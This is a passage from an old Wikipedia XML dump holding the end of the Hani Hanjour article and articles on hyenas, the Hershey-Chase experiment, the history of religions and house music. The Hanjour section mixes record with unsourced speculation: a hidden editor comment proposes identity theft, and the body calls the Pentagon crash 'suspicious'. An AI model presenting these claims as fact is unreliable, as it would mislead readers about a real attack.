In September Hanjour again sent his $110 registration to [[Holy Names College]] in [[Oakland, California]] to continue his English studies.  He also applied for another U.S. Student Visa.  Although he was accepted, after the attacks, it would be reported that his Visa application was 'suspicious'.  He never turned up for classes, and when the school contacted its Saudi representative, he reported that he could not find Hanjour either.

&lt;!-- To be honest, judging by our article, this is the point where it seems most likely that Hanjour had his identity stolen. Up until this point, he has had no contact with any of the other pilots, each of whom reportedly knew each other for years.  Suddenly he fails to show up for classes.  As soon as there is a US Visa in his name however, his name is suddenly seen appearing with other hijackers.  Rather than living with host families, and friends of his brother, his name from here on is seen living with other hijackers.  He never returns to Arizona or California, where he had previously lived, never again studies English (having taken/started 3 courses up till now) never again applies for flight training. Up until this point he has relied on his father for money, suddenly he now opens a new bank account in Dubai, a country he's never been to before --&gt; 

On December 5th, Hanjour opened a CitiBank account in [[Deira]], [[Dubai]].  On the 8th Hanjour is recorded flying into [[Cincinnati]] and is thought to be later meeting with Nawaf al-Hazmi in [[San Diego]].

===2001===
[[Image:Image-Hani-FBI2.jpg|thumb|left|80px|An FBI-released photo]]Hanjour came back to San Diego in [[December]] [[2000]], frequently visiting [[Abdussattar Shaikh]]'s house, which is shared with Nawaf al-Hazmi and Khalid Almihdhar.  During this time Hanjour may have visited the [[San Diego Zoo]] in February, as a security guard recalls having to page his name to reclaim a lost briefcase containing cash and [[Arabic language|Arabic]] documents and later recognised his photograph. Shortly afterwards, the three hijackers move out of Shaikh's house to [[Falls Church, Virginia]]

Hanjour, Moqed, al-Hazmi and Ahmed al-Ghamdi rent a minivan and travel to [[Fairfield, Connecticut]], where they meet a contact in the parking lot of a local convenience store who provides them with false IDs.  (possibly [[Eyad Alrababah]], a Jordanian charged with document fraud). Hanjour later accompanies Almihdhar to a [[DMV]] office where they paid illegal immigrant Luis Martinez-Flores $100 to vouch for their permanent residency, and are granted state identity cards. Martinez-Flores is later sentenced to 21 months in prison for aiding them.

In early Spring [[2001]], Hanjour rented a one-bedroom apartment in [[Paterson, New Jersey]]. He lived there with at least one roommate and was visited by several other hijackers, including [[Mohamed Atta al Sayed]].  During his time in New Jersey, he and Al-Hazmi rented 3 different cars including a sedan in June that Hanjour cosigns with the alias ''Hani Saleh Hassan''.  He later makes his last phone call to his family back in Saudi Arabia - he claimed to be phoning from a payphone in the UAE, where he was supposedly still working.

Hanjour, along with at least five other future hijackers, is thought to have traveled to [[Las Vegas, Nevada|Las Vegas]] several times in the summer of 2001, where they reportedly drank alcohol, gambled, and practiced other forms of vice.[http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2001/10/04/MN102970.DTL]     
He was also stopped by police on August 1 2001 for driving 55 mph in a 30 mph zone in [[Arlington, Virginia]], for which he paid the $70 fine.

Employees at [[Advance Travel Service]] in [[Totowa, New Jersey]] later claimed that Moqed and Hanjour had both purchased tickets there.  They claimed that Hanjour spoke very little English, and Moqed did most of the speaking. Hanjour requested a seat in the front row of the airplane. Their credit card failed to authorise, and after being told the agency didn't accept personal cheques, the pair left to withdraw cash. They returned shortly afterwards and paid the $1842,25 total in cash.[http://www.boston.com/news/packages/underattack/news/planes_reconstruction.htm]  This claim is in contradiction to other claims that Hanjour never had a ticket for the flight at all.

[[Image:HanjiMajedATM.jpg|thumb|130px|Moqed and Hanjour]]In September, Hanjour began to make cross-country flights in August to test security, and tried to rent a small [[Cessna 172]] plane from ''Freeway Airport'' in Maryland - though he was declined after exhibiting poor flying skills. He moved out of his New Jersey apartment on [[September 1]], and was photographed four days later using an [[Automatic teller machine|ATM]] with fellow hijacker [[Majed Moqed]] in [[Maryland]], where all five Flight 77 hijackers had purchased a 1-week membership in a local [[Gold's Gym]], there Hanjour claimed that his first name translated as ''warrior'' when a gym employee asked if there was an English translation of their Arabic names.  (''Hani'' actually translates as ''contented'')

On [[September 10]], 2001, Hanjour, al-Mihdhar, and al-Hazmi checked into the Marriott Residence Inn in [[Herndon, Virginia]] where [[Saleh Ibn Abdul Rahman Hussayen]], a prominent Saudi government official, was staying  - although no evidence was ever uncovered that they had met, or knew of each other's presence.

==The attack==
[[Image:HaniHanjourSecTape.jpg|thumb|180px|Allegedly Hanjour in foreground]]On September 11, 2001, Hani Hanjour boarded American Airlines Flight 77 at 7:50am, though it is still disputed whether or not he had a ticket for the flight, or appeared on any manifest.  In the security tape footage released in 2004, Hanjour appears to walk through the metal detector without setting it off, the only hijacker to do so.  There is a controversy over whether or not the security tapes indeed show him, since the man claimed to be him seems significantly heavier than Hanjour, has kept his beard (Which the hijackers all reportedly shaved off the night before), and has a different style of hair.

The plane was hijacked, and Hanjour was given the controls to pilot the plane into the Pentagon at 9:37 am in a high-speed dive that required a great deal of skill many have ruled suspicious given his repeated failures and inability to fly even simple Cessna simulators. Hanjour obtained a commercial pilots license in 1999 and according to the chief instructor, &quot;Despite Hanjour's poor reviews, he did have some ability as a pilot, &quot;There's no doubt in my mind that once that [hijacked jet] got going, he could have pointed that plane at a building and hit it,&quot; he said.

In the initial report given by the FBI on September 14, 2001 the names of the hijackers were released for the first time; Hanjour was not originally listed as a suspect, but &quot;Mosear Caned&quot; instead. The FBI later corrected the list.

==Aftermath==
After the attacks, Hanjour's family said they could not believe he had been involved, and stating that he had phoned them just 8 hours prior to the hijackings.[http://web.archive.org/web/20030616131506/http://arabview.com/article.asp?artID=98]

==External links==
* [http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
{{Template:911hijack}}

[[Category:2001 deaths|Hanjour, Hani]]
[[Category:Saudi Arabian terrorists|Hanjour, Hani]]
[[Category:Participants in the September 11, 2001 attacks|Hanjour, Hani]]</text>
    </revision>
  </page>
  <page>
    <title>Hyaenidae</title>
    <id>13925</id>
    <revision>
      <id>15911509</id>
      <timestamp>2003-06-14T20:06:31Z</timestamp>
      <contributor>
        <username>Baldhur</username>
        <id>28358</id>
      </contributor>
      <comment>redirect hyena</comment>
      <text xml:space="preserve">#REDIRECT [[Hyena]]</text>
    </revision>
  </page>
  <page>
    <title>Hyena</title>
    <id>13926</id>
    <revision>
      <id>42141974</id>
      <timestamp>2006-03-04T02:27:41Z</timestamp>
      <contributor>
        <ip>24.81.197.16</ip>
      </contributor>
      <comment>/* Legend */</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Hyenas
| image = Spotted hyena.jpg
| image_width = 200px
| image_caption = [[Spotted Hyena]]
| regnum = [[Animalia Kingdom]]
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Carnivora]]
| familia = '''Hyaenidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| subdivision_ranks = Genera
| subdivision = 
''[[Spotted Hyena|Crocuta]]''&lt;br /&gt;
''[[Striped Hyena|Hyaena]]''&lt;br /&gt;
''[[Brown Hyena|Parahyaena]]''&lt;br /&gt;
''[[Aardwolf|Proteles]]''
}}

'''Hyenas''' (or '''Hyænas''') are moderately large terrestrial [[carnivore]]s native to [[Africa]] and [[Asia]]. They are members of the [[family (biology)|family]] Hyaenidae. 
==Physiology==
Although hyenas look like rather large wild [[dog (family)|dog]]s, they make up a separate [[biological family]] which is most closely related to [[Herpestidae]] (the family of [[mongoose]]s and [[meerkat]]s). The hyena has one of the strongest [[jaw]]s in the animal kingdom and an adult of the species has only the large cats of the family Felidae ([[Lion|Lions]], [[Tiger|Tigers]], [[Jaguar|Jaguars]], etc.) to fear.

Hyenas range in length from 1.2 - 1.5 meters (3.9 - 4.9 ft) including the tail, which is 30 cm (12 inches) in length. An adult hyena weighs between 25 and 55 kg (55 - 120 lb).  The pelt can be light to dark-brown on Brown Hyenas, while the color can be grey, sometimes nearly white on Striped Hyenas. Aardwolves have a warm, sand-colored coat, while the coats of Spotted Hyenas can range from dark-brown fur to amber and reddish in color.  

In ancient times, large hyenas ranged over much of [[Europe]] and Asia, but they are much reduced in range and diversity today. Only four species survive: the [[Spotted Hyena|Spotted]], [[Brown Hyena|Brown]], and [[Striped Hyena]]s (which together make up the subfamily Hyaeninae), and the [[Aardwolf]], which is the only member of the subfamily Protelinae

Hyenas are also highly intelligent predators, even more intelligent than the lions (some scientists claim they are of equal intelligence to certain apes). One indication of hyena intelligence is that hyenas will move their kills closer to each other to protect them from scavengers; another indication is their strategic hunting methods. 

A group of spotted hyenas (called a &quot;clan&quot;) can include 5-90 members and is led by a single alpha female called the matriarch.  A complicated social hierarchy governs the clan.  Cubs often learn this social system before they begin to walk.  Females are the dominating members, followed in rank by cubs, while adult males rank lowest. Male hyenas, which are usually smaller and less aggressive than females, often leave the clan when they are about two years of age. Females tend to mate with males from other clans, thereby preventing inbreeding. Unlike many other animals, female hyenas hardly ever mate with highly aggressive males. Instead, they select calm, patient and charming mates.  Patience is especially important since courtship can last as much as a year.  For this reason, dominant and impatient males have difficulty finding mates.  Despite the complicated courtship, the female raises her pups without the male.

[[Image:Hyaena eximia head.jpg|thumb|left|Skull of Hyaena eximia]]
[[Image:Hyaena eximia jaw.jpg|thumb|left|Lower jaw of Hyaena eximia]]
Hyenas are also born with teeth, which means that sometimes when the cubs play-fight they can accidentally kill each other. 
Hyenas produce such nutritious milk that, unlike lions and wild dogs, they can leave their cubs for about a week without feeding them which allows them to follow the herds of wildebeest, thus ensuring they can obtain the best prey.


==Scavenger==
Despite common belief, only some species belonging to this family are [[scavenger]]s: while the brown and the striped hyena derive most of their diets from scavenging, the spotted hyena is not only a real predator, but also the most effective predator on the African savannah. The [[Aardwolf]] usually eat insects like termites.

==Legend==

In some parts of [[Africa]], some men were thought to turn into hyenas at night. (See [[lycanthropy]].) In the former [[Kingdom of Kaffa]] (now part of south-western [[Ethiopia]]), ''qora'' or were-hyenas were outlawed by special laws. Those accused of turning into hyenas at night were bound and presented to a priest of [[Docco]], who would determine if the accused was, in fact, a ''qora''. If found guilty, the individual would be sentenced to slavery, death, or exile. Although only a priest of Docco could make this determination, any person could accuse another of this crime. As G.W.B. Huntingford wrote, &quot;This led to much injustice, and according to old Kafa men the law was often set into motion.&quot;[[#Notes|1]]hyenas are the best!

==Classification==
'''Family Hyaenidae'''
* Subfamily [[Hyaeninae]]
**[[Spotted Hyena]] ''Crocuta crocuta'' 
**[[Brown Hyena]] ''Parahyaena brunnea'' (formerly ''Hyaena brunnea'')
**[[Striped Hyena]] ''Hyaena hyaena''
* Subfamily [[aardwolf|Protelinae]]
** [[Aardwolf]] ''Proteles cristatus''

== Notes ==
# G.W.B. Huntingford, ''The Galla of Ethiopia; The Kingdom of Kafa and Janjero'' (London: International African Institute, 1955), p. 126.

==External links==
*[http://www.wearesites.com/Personal/Hyenas/ Robin M. Weare's Hyena pages]
*[http://nature-wildlife.com/ Nature-Wildlife]

[[Category:Hyenas| ]]
[[Category:Wildlife of Africa]]

[[ar:ضبع]]
[[cs:Hyeny]]
[[da:Hyæner]]
[[de:Hyänen]]
[[es:Hiena]]
[[eo:Hieno]]
[[fa:کفتار]]
[[fr:Hyaenidae]]
[[gl:Hiena]]
[[io:Hieno]]
[[it:Hyaenidae]]
[[he:צבועיים]]
[[lt:Hieniniai]]
[[nl:Hyena's]]
[[ja:ハイエナ]]
[[no:Hyenefamilien]]
[[nn:Hyene]]
[[pl:Hienowate]]
[[pt:Hyaenidae]]
[[ru:Гиена]]
[[simple:Hyena]]
[[sv:Hyenor]]</text>
    </revision>
  </page>
  <page>
    <title>Hyaena</title>
    <id>13927</id>
    <revision>
      <id>32672539</id>
      <timestamp>2005-12-25T09:42:44Z</timestamp>
      <contributor>
        <username>Bogdangiusca</username>
        <id>9475</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.124.70.134|24.124.70.134]] ([[User talk:24.124.70.134|talk]]) to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Hyena]]</text>
    </revision>
  </page>
  <page>
    <title>Hershey-Chase experiment</title>
    <id>13928</id>
    <revision>
      <id>39915493</id>
      <timestamp>2006-02-16T20:20:51Z</timestamp>
      <contributor>
        <username>Acaudel</username>
        <id>945053</id>
      </contributor>
      <minor />
      <comment>removed inappropriate link</comment>
      <text xml:space="preserve">The '''Hershey-Chase experiment''' was a series of [[experiment]]s conducted in [[1952]] by [[Alfred Hershey]] and [[Martha Chase]] that identified [[DNA]] to be the [[genetic material]] of [[phage]]s and, ultimately, of all organisms.
A phage is a small [[virus (biology)|virus]] that infects [[bacterium|bacteria]]. It consists of a [[protein]] coat that encloses the genetic material. When a phage infects a bacterium, it inserts its genetic material into the bacterium, while its coat remains outside.	
[[Image:Tevenphage.png|thumb|Structural overview of T2 phage]] 
			
In a first experiment, [[T2 phage]]s with radioactive &lt;sup&gt;32&lt;/sup&gt;P-labeled DNA infected bacteria. In a second experiment, T2 phages with radioactive &lt;sup&gt;35&lt;/sup&gt;S-labeled protein infected bacteria. In both experiments, bacteria were separated from the phage coats by blending followed by [[centrifuge|centrifugation]]. In the first experiment, most radioactivity was found in the infected bacteria, while in the second experiment most radioactivity was found in the phage coat. These experiments demonstrated that DNA is the genetic material of phage and that protein does not transmit genetic information.

Hershey shared the 1969 [[Nobel Prize in Physiology or Medicine]] for his “discoveries concerning the genetic structure of viruses”
[[Image:HersheyChaseEx.png|thumb|Overview of the experiment done by Hershey and Chase in 1952]]



==Literature Cited==
Hershey, A.D. and Chase, M. ([[1952]]) ''[http://www.jgp.org/cgi/content/abstract/36/1/39 Independent functions of viral protein and nucleic acid in growth of bacteriophage]''. [[J Gen Physiol.]] 1:39-56. 	
    
    
[[Category:Genetics experiments]]

[[it:Esperimento di Hershey-Chase]]</text>
    </revision>
  </page>
  <page>
    <title>History of religions</title>
    <id>13929</id>
    <revision>
      <id>40229651</id>
      <timestamp>2006-02-19T02:45:07Z</timestamp>
      <contributor>
        <username>Yid613</username>
        <id>596948</id>
      </contributor>
      <comment>/* History of the [[Abrahamaic Religion|Abrahamaic Religions]] */</comment>
      <text xml:space="preserve">The '''History of religions''' refers to the ''Religiongeschichteschule'', a [[Nineteenth century]] [[Germany|German]] school of thought which was the first to systematically study [[religion]] as a [[society|socio]]-[[culture|cultural]] phenomenon.

==Introduction==

The [[nineteenth century]] saw a dramatic increase in knowledge about other [[cultures]] and religions, and also the establishment of economic and social histories of [[progress]]. The &quot;history of religions&quot; school sought to account for this religious diversity by connecting it with the social and economic situation of a particular group.

Typically religions are divided into stages of progression from more simple to more complex societies, especially from [[polytheistic]] to [[monotheistic]] and from extempore to organised. 

Thus, the starting point is the [[tribal band]] whose religion is [[animistic]] and involves [[shaman|shamans]] and [[totems]]. Since the group is tribal, there is no permanent sanctuary. Cultic rites centre on [[identification]] with wild animals and appeasing [[spirits]], often of the hunted. 

As society developed into [[Chiefdoms]] and small [[monarchy|kingdoms]], religious rites began to serve different functions. [[Agriculture]] became important and so fertility gods were introduced (often female, as it is the woman who has the power to produce life). The status of the &quot;Big man&quot; (or [[chief]]) was supported with mythic tales of [[heroes]] and [[demigods]], whom he may be descended from.

When these small kingdoms merged into larger groups (often through [[conquest]]), different cults merged. The conquest of one group by another is therefore recorded in an [[Epic poetry|epic]] tale of the conquest of the conquered group's god by the victor's (e.g. some [[Hinduism]] and the Babylonian [[Marduk]]). Another solution was to [[Synchretism|synchretise]] different religious traditions, for example, the [[Ancient Rome|Romans']] identification of their Gods with the [[Ancient Greece|Greeks]] and the Greeks' adoption of [[Anatolia]]n myths and characters.

Finally, the growth of the [[city state]] brought about progression to the most &quot;civilised&quot; level of religion, [[ethical monotheism]]. Students of the history of religions often learnt that this began in [[Egypt]] with [[Akhnaten]] and grew through 7th century BC [[Judaism]], Persian [[Zorastrianism]] and [[Greek Philosophy]] to endow [[Western society]] with the most progressive form of religion. The historical basis of this — that religion moved from polytheism to ethical monotheism — is now doubted, as is the [[ethnocentrism]] that made Western society the most civilised. 

Nevertheless, it is still widely held that ethical monotheism (e.g. Judaism, [[Christianity]], [[Islam]], some forms of Hinduism and [[Buddhism]]) was encouraged by the growth of city states. This was partly due to the role of a [[hierarchical society]] with a god-like [[absolute ruler]]. A more powerful social force was the isolation of the individual as he moved from the clan to a more [[cosmopolitan]] lifestyle. Questions of [[justice]] and value that had been previously answered by the family and small tribe were now to be pursued independently. The relative anonymity of the [[city]] afforded the opportunity for not only &quot;sin&quot; but also loneliness. ''Ethical'' monotheism answered society's need for a moral guide and motivation, whilst a unique ''personal God'' who was sovereign over all areas of life answered people's feelings of isolation and powerlessness.

Good examples of this are the prophetic literature of the Jewish Tanakh (Old Testament), especially Isaiah, and the wisdom literature of the ancient near east dealing with apparently unjustified suffering. This includes Job, in the Judaeo-Christian Bible, and &quot;The Dialogue of Pessimism&quot;, a Babylonian text.

==History of Polytheistic Paganism==

===Ancient Paganism===
* [[Egyptian mythology| Pharaonic religion]]
*[[Greek religion]]
*[[Roman religion]]

===Modern Polytheism===
*[[History of Santeria]]

==History of Monotheism==
===Indian religions family===
*[[History of Hinduism]]
*[[History of Buddhism]]

===History of the [[Abrahamic religion|Abrahamic Religions]]===
*[[Jewish history|History of Judaism]]
*[[History of Christianity]]
**[[History of Roman Catholicism]]
**[[History of Eastern Orthodox Christianity]]
**[[History of Protestantism]]
*[[History of Islam]]

==History of syncretism==
*[[Druze]]
*[[Sikhism]]
*[[History of Rastafarianism]]

==Other==
*[[History of Shintoism]]

==External links==
*[http://www.historyofreligions.com/ History of religion]

[[Category:History of religion]]

[[ja:&amp;#23447;&amp;#25945;&amp;#12398;&amp;#27508;&amp;#21490;]]
[[nl:Godsdienstgeschiedenis]]
[[pl:Historia religii]]
[[zh:&amp;#23447;&amp;#25945;&amp;#21490;]]</text>
    </revision>
  </page>
  <page>
    <title>House music</title>
    <id>13930</id>
    <revision>
      <id>42076517</id>
      <timestamp>2006-03-03T17:39:41Z</timestamp>
      <contributor>
        <username>Mushin</username>
        <id>271938</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{genrebox|name=House
|color=silver
|bgcolor=black
|stylistic_origins=[[Electro (music)|Electro]], [[Funk]], [[Disco]], [[Synthpop]], [[Rhythm and blues|R&amp;B]]
|cultural_origins=[[1980s]], [[New York, New York|New York]], [[Chicago, Illinois|Chicago]], [[United Kingdom]]
|instruments=[[Synthesizer]] - [[Drum machine]] - [[Music sequencer|Sequencer]] - [[Keyboard instrument|Keyboard]] - [[Sampler (musical instrument)|Sampler]]
|popularity=Large, especially late [[1980s]] and early [[1990s]] [[United Kingdom]]
|derivatives=[[Rave music|Rave]] - [[Nu jazz]] - [[Madchester]]
|subgenrelist=List of electronic music genres
|subgenres=[[Acid house|Acid]] - [[Chicago house|Chicago]] - [[Deep house|Deep]] - [[Garage (dance music)|Garage]] - [[Microhouse]] -  [[Progressive house|Progressive]] - [[Dream house|Dream]] - [[Amsterdam house|Amsterdam]] - [[Amyl house|Amyl]] - [[Gabber house|Gabber]] - [[French house|French]] - [[Happy house|Happy]] - [[Hard house|Hard]] - [[Italo house|Italo]] - [[Latin house|Latin]] - [[Minimal house|Minimal]] - [[NY house|NY]] - [[Oriental house|Oriental]] - [[Pumpin' house|Pumpin']] - [[Tribal house|Tribal]] - [[UK Hard house|UK Hard]] - [[US Hard house|US Hard]] - [[Vocal house|Vocal]]
|fusiongenres=[[Ambient house|Ambient]] - [[Ghetto house|Ghetto]] - [[Hip house|Hip]] - [[Tech house|Tech]]
|regional_scenes=
|other_topics=[[List of house music artists|Notable artists and DJs]] - [[Styles of house music]]
}}
'''House music''' is a collection of styles of [[electronic dance music]], the earliest forms of which originated in the [[United States]] in the early- to mid-[[1980s in music|1980s]]. The name is said to derive from the Warehouse [[club]] in [[Chicago]], where the resident DJ, [[Frankie Knuckles]], mixed classic [[disco]] and European [[synthpop]] recordings. Club regulars referred to his selection of music as &quot;'house&quot; music.  However, since Frankie was not creating new music at that time, it has been argued that [[Chip E.]] in his early recording &quot;It's House&quot; defined this new form of electronic music and gave it the name &quot;House Music&quot;.

The common element of most house music is a 4/4 [[beat (music)|beat]] (a prominent kick drum on every beat) generated by a [[drum machine]] or other electronic means (such as a [[sampler (musical instrument)|sampler]]), together with a continuous, repeating (usually also electronically generated) [[bassline]]. Typically added to this foundation are electronically generated sounds and [[sampling (music)|samples]] of music such as [[jazz]], [[blues]] and [[synth pop]], as well as additional percussion. As new recordings adhering to this general style emerged, the house genre divided into a number of subcategories, some of which are described below.

&quot;House Music&quot; also refers to the recorded music played while a theatre audience takes their seats before a performance, or, in live music venues, the recorded music played before the live music begins. Well-known live acts can demand their choice of house music, or that there be none at all. Such demands are made in the technical rider to their contract (the same document that specifies what items must be present in the dressing room).

==History==

:''Not everyone understands House music; it's a spiritual thing; a body thing; a soul thing.''&lt;br&gt;
::--as sampled by Eddie Amador [[media:Eddie_Amador-House_Music.ogg|listen to 22 s sample (488Kb)]]

===Proto-history: from disco to house: late 1960s to early 1980s ===

''Main article:'' [[Electronic music#History|Electronic music history]]

House, [[techno music|techno]], [[electro (music)|electro]] and [[hip hop music|hip hop]] musicians owe their existence to the pioneers of [[analog synthesizer]]s and sample based keyboards such as the [[Minimoog]] and [[Mellotron]] which enabled a wizardry of sounds to exist, available at the touch of a button or key.

Although many people believe house music to have originated from Donna Summer's &quot;[[I Feel Love]]&quot;, fully formed electronic music tracks actually came before house. Early American [[Sci-Fi]] films and the [[BBC]] Soundtrack to popular [[television series]] ''[[Doctor Who]]'' stirred a whole generation of techno music lovers like the [[space rock]] generation during the [[1970s]], influenced by the [[psychedelic music]] sound of the late [[1960s]] and bands such as [[Pink Floyd]], [[Soft Machine]], [[Amon Düül]], [[Crazy World of Arthur Brown]], and the so-called [[Krautrock]] early electronic scene ([[Tangerine Dream]] and [[Klaus Schulze]]). Shunned by many as a &quot;gimmick&quot; or &quot;children's music&quot;, it was a genre similar and parallel to the [[Kosmische Rock]] scene in [[Germany]]. Space rock is characterized by the use of spatial and floating backgrounds, mantra loops, electronic sequences, and futuristic effects over Rock structures. Some of the most representative artists were [[Steve Hillage]]'s [[Gong (band)|Gong]] and [[Hawkwind]].


The late 1970s saw [[disco]] utilise the (by then) much developed electronic sound and a limited genre emerged, appealing mainly to [[gay]] and black audiences, it crossed over into mainstream [[United States|American]] culture following the hit [[1977]] film ''[[Saturday Night Fever]]''. As disco clubs filled there was a move to larger venues. &quot;[[Paradise Garage]]&quot; opened in [[New York]] in January [[1978]], featuring the [[DJ]] talents of [[Larry Levan]] ([[1954]]&amp;ndash;[[1992]]). [[Studio 54]], another New York disco club, was extremely popular. The clubs played the tunes of singers such as [[Diana Ross]], [[Chic]], [[Gloria Gaynor]], [[Kool &amp; the Gang]], [[Donna Summer]], and Larry Levan's own hit &quot;I Got My Mind Made Up&quot;. Drugs including [[LSD]], [[poppers]] and [[quaalude]]s boosted the stamina of the clubbers. The disco boom was short-lived. There was a backlash from [[Middle America (US)|Middle America]], epitomised in Chicago radio DJ Steve Dahl's &quot;[[Disco Demolition Night]]&quot; in [[1979]]. Disco returned to the smaller clubs like the Warehouse in [[Chicago, Illinois]].

Opened in 1977 the Warehouse on Jefferson street in [[Chicago, Illinois|Chicago]] was a key venue in the development of House music. The main DJ was [[Frankie Knuckles]]. The club staples were still the old disco tunes but the limited number of records meant that the DJ had to be a creative force, introducing more deck work to revitalise old tunes. The new mixing skills also had local airplay with the [[Hot Mix 5]] at [[WBMX]]. The chief source of this kind of records in Chicago was the record-store &quot;Imports Etc.&quot; where the term House was introduced as a shortening of Warehouse (as in these records are played at the Warehouse). Despite the new skills the music was still essentially disco until the early 1980s when the first [[drum machine]]s were introduced. Disco tracks could now be given an edge with the use of a mixer and drum machine. This was an added boost to the prestige of the individual DJs.

===Chicago years: early 1980s - late 1980s ===
{{main|Chicago house}}
In [[1983]] the Music Box club opened in Chicago. Owned by Robert Williams, the driving force was a DJ, [[Ron Hardy]]. The chief characteristics of the club's sound were sheer massive volume and an increased pace to the tunes. The pace was apparently the result of Hardy's [[heroin]] use. The club also played a wider range of music than just disco. Groups such as [[Kraftwerk]] and [[Blondie (band)|Blondie]] were well received, as was a brief flirtation with [[punk music|punk]], dances like &quot;Punking-Out&quot; or &quot;Jacking&quot; being very popular.

Two tunes are arguably the first House music, each arriving in early [[1983]]. The tune that was chronologically first was [[Jamie Principle]] and Frankie Knuckles' &quot;Your Love&quot;, a huge hit in the clubs, but only available on tape copies. The second, &quot;On And On&quot; by [[Jesse Saunders]] was later put on vinyl (1985). (Shapiro, [[2000]]).  Immediately on the tails of these recordings was [[Chip E.]] &quot;Jack Trax&quot; which defined the genre with its complex rhythms, simple bassline, use of sampling technology and minimalist vocals.

By [[1985]] house music dominated the clubs of Chicago, in part due to the radio play the music received on 102.7 FM WBMX, and their resident DJ Team the HOT MIX 5. Also, the music and movement was aided by the musical electronic revolution - the arrival of newer, cheaper and more compact [[music sequencer]]s, drum machines (the Roland 909 and 808 and 707, and Latin percussion machine the  727) and bass modules (such as the legendary [[Roland TB-303]] in late 1985) gave House music creators even wider possibilities in creating their own sound, indeed the creation of [[Acid House]] is directly related to the efforts of DJ Pierre on the new drum machines.

Two record labels dominated the house music scene in Chicago, DJ International Records, owned by Rocky Jones and Trax Records owned by [[Larry Sherman]] (Trax self pressed records and the quality was not as good as the Disc Makers pressings of DJ International).

Many of the songs that defined the era came off of those record labels. Steve Hurley's &quot;Music is the Key&quot;, [[Chip E.]]'s &quot;Like This&quot; and Fingers, Inc. &quot;Mystery of Love&quot; (1985) were amongst some of the defining songs that came off of DJ International. While Trax released &quot;Jack the Bass&quot; &amp; &quot;Funkin With the Drums Again&quot; by [[Farley Jackmaster Funk]] in 1985 followed the next year by House Classic &quot;Move your Body&quot; by Marshall Jefferson and &quot;No Way Back&quot; by Adonis.

This was something of a double-edged sword. In its favour Trax was very fast to sign new artists and press their tunes, establishing a large catalogue of House tunes, but the label used recycled vinyl to speed the pressing process resulting in physically poor quality records. Also disappointing was that many artists signed contracts that were rather less favourable towards them than they hoped.

Trax became the dominant House label, releasing many classics including &quot;No Way Back&quot; by [[Adonis (artist)|Adonis]], [[Larry Heard]]'s &quot;Can You Feel It&quot; and the first so-called House anthem in [[1986]], &quot;Move Your Body&quot; by [[Marshall Jefferson]]. This latter tune gave a massive boost to House music, extending recognition of the genre out of Chicago. [[Steve 'Silk' Hurley]] became the first house artist to reach number one in the UK in 1987 with &quot;Jack Your Body&quot;. This and other tracks such as &quot;Music is the Key&quot; and &quot;Love Can't Turn Around&quot; helped moved house from its spiritual home to its commercial birthplace - the [[United Kingdom]].

===The Detroit Connection: early 1980s - late 1980s ===
{{main|Detroit techno}}

A form of music was forming at the same time in Detroit, what became known as &quot;Detroit Techno&quot;.  A major influence to the fusion of eclectic sounds into the signature detroit techno sound was a radio program which ran in the mid 1970s until the 1980s by legendary disc jockey [[The Electrifying Mojo]]. Music heavily influenced by European Electronica (Kraftwerk, Art of Noise), early [[b-boy]] [[Hip-Hop]] (Man Parrish, Soul Sonic Force) and Italo Disco (Doctor's Cat, Ris, Klein M.B.O.) this music was pioneered by Juan Atkins, Derrick May and Kevin Saunderson. The first group of songs to be rotated heavy in Chicago House music circles were the 1985's releases of &quot;NO UFO's&quot; by Juan Atkin's group Model 500 on Metroplex Records, Let's Go by Trans X-Ray (Derrick &quot;MAYDAY&quot; May&quot;) and &quot;Groovin' without a Doubt&quot; by Inner City (Kevin Saunderson) on KMS Records.

Juan Atkins on his Label Metroplex Records followed the release of &quot;NO UFO's&quot; with 1986's &quot;FUTURE&quot;, 1988's the &quot;Sound of Stero / Off to Battle&quot; and 1989's &quot;The Chase&quot;.

KMS Followed with releases in 1986 of Blake Baxter's &quot;When we Used to Play / Work your Body&quot;, 1987's &quot;Bounce Your Body to the Box&quot; and &quot;Force Field&quot;, 1988's &quot;Wiggin&quot; by MAYDAY, &quot;The Sound / How to Play our Music&quot; and “the Goove that Won't Stop” and a remix of &quot;Grooving Without a Doubt&quot;. In 1988 as House music began to go more commercial, Kevin Saunderson’s group with Paris Gray released the 1988 hits &quot;Big Fun&quot; and &quot;Good Life&quot; which eventually were picked up by Virgin Records. Each EP / 12 inch single sported remixes by Mike &quot;Hitman&quot; Wilson and Steve &quot;Silk&quot; Hurley of Chicago and Derrick &quot;Mayday&quot; May and Juan Atkins of Detroit. In 1989 KMS had another hit release of &quot;Rock to the Beat&quot; which was a hit overseas and in Chicago

Derrick &quot;Mayday&quot; May had a style that was similar to Chicago native Larry Heard (Mr. Fingers), but soon became distinct and unique and was received well in Chicago, with releases on his Transmat Label, between 1986-1989 Transmat released hits like &quot;Nude Photo&quot;, &quot;It is What it is&quot; and &quot;Beyond the Dance&quot; by Rythim is Rythim, &quot;The Groove&quot; by Suburban Knights, and &quot;Illusion&quot; by R-Tyme. The biggest hit and most influential in the House Music scene was Rythim is Rythim's &quot;Strings of Life&quot; which became a cult classic in dance music clubs internationally. Derrick May also recorded with Kool Kat &quot;Nude Photo 88&quot; with the cult classic &quot;Sinister&quot;.

Though Detroit Techno is a music form in its own right and part of the &quot;Electronic&quot; / &quot;Techno&quot; worldwide music, it and its pioneers were also instrumental in the forwarding of House Music internationally and especially in the UK.

===The British connection: late 1980s - early 1990s ===

